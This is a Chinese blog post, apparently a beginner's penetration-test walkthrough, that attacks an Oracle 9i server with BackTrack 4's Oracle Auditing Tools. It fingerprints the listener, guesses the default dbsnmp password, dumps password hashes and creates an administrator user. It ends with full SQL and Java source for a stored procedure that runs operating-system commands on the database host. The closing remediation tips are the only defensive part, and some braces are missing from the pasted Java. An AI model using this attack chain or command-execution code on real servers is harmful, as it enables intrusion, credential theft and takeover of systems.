天天看點

BackTrack 4 OAT軟體包檢測ORACLE伺服器安全性!

這次的内容是用 BackTrack 4 檢測ORACLE伺服器的安全性。

BackTrack 4 整合了很多hack軟體,作為測試的一個平台系統,使用BackTrack做各種測試是很友善的。

BT4裡内嵌了一套針對ORACLE資料庫的檢測工具集:OAT(Oracle Auditing Tools)

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190605591.jpg"></a>

當然開始前還需要安裝 JAVA 和 ORACLE JDBC下載下傳位址:

Java Runtime Environment

Oracle JDBC Driver (classes111.zip or classes12.zip)

準備工作一切就緒,我們開始進行檢測~~

一 我們先使用 otnsctl 來看看ORACLE伺服器是使用什麼作業系統、資料庫版本、SID名稱及詳細的Services服務資訊

指令格式:./otnsctl.sh -s ip -I windows

成功連接配接後會出現tnscmd&gt;提示符,有4項功能:1設定連接配接監聽器的密碼 2 檢視服務資訊 3 SID資訊 4 檢視資料庫版本

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190638698.jpg"></a>

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190708107.jpg"></a>

現在我們獲知這台oracle伺服器作業系統是32位WINDOWS,資料庫版本是9.2.0.1.0,SID是:STARLIMS。

二 接着使用 opwg.sh 檢測使用者和密碼,看是否存在疏忽遺漏的預設密碼。

指令格式:./opwg.sh -s ip

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190740288.jpg"></a>

檢測出了SID和一個預設使用者密碼。

三 有了使用者密碼、SID。就可以用 oquery.sh 執行SQL語句查詢。

指令格式:./oquery.sh -s ip -u name -p password -d SID

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190812709.jpg"></a>

知道目前使用者密碼還是DBA權限,GOOD~

四 再要進行深入,用ORACLE用戶端連接配接就簡單很多。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190843958.jpg"></a>

用SQL腳本直接執行指令(比起手寫輸入要省事),查詢使用者HASH。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190924137.jpg"></a>

最後就是嘗試建立管理者使用者。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191007979.jpg"></a>

使用rdesktop連接配接遠端桌面。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191106587.jpg"></a>

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191126238.jpg"></a>

檢測目的達到,由于資料庫沒有把dbsnmp這個預設使用者設定為locked,在基本資訊洩露後,通過該使用者連接配接到資料庫,導緻伺服器失陷,如伺服器後面還有域的話,

或會被滲透,那對于整個内網來說将會是災難。

檢測結束删除剛才建立的使用者,恢複原來狀态。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191244781.jpg"></a>

建議不需要listener的就關閉監聽。把不使用的預設使用者設定LOCKED狀态。使用者權限要設定清晰,多餘權限一律不予配置設定。

就寫到這。由于本人剛開始學習,文中難免有錯漏,希望各位見諒,吾還在不斷努力學習中。。。 ^-^

PS:貼出文中提到的SQL代碼

see.sql

====================================================

select a.username, a.password

from sys.dba_users a left outer join sys.dba_users b on

b.username = a.username

;

java.sql

create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer

, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

e.printStackTrace();

RC = -1;

finally

return RC;

/

create or replace

function RUN_CMz(p_cmd in varchar2) return number

language java

name 'util.RunThis(java.lang.String) return integer';

create or replace procedure RC(p_cmd in varChar)

x number;

begin

x := RUN_CMz(p_cmd);

end;

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system;

exec :x:=run_cmz('net1 user');

本文轉自enables 51CTO部落格,原文連結:http://blog.51cto.com/niuzu/638582,如需轉載請自行聯系原作者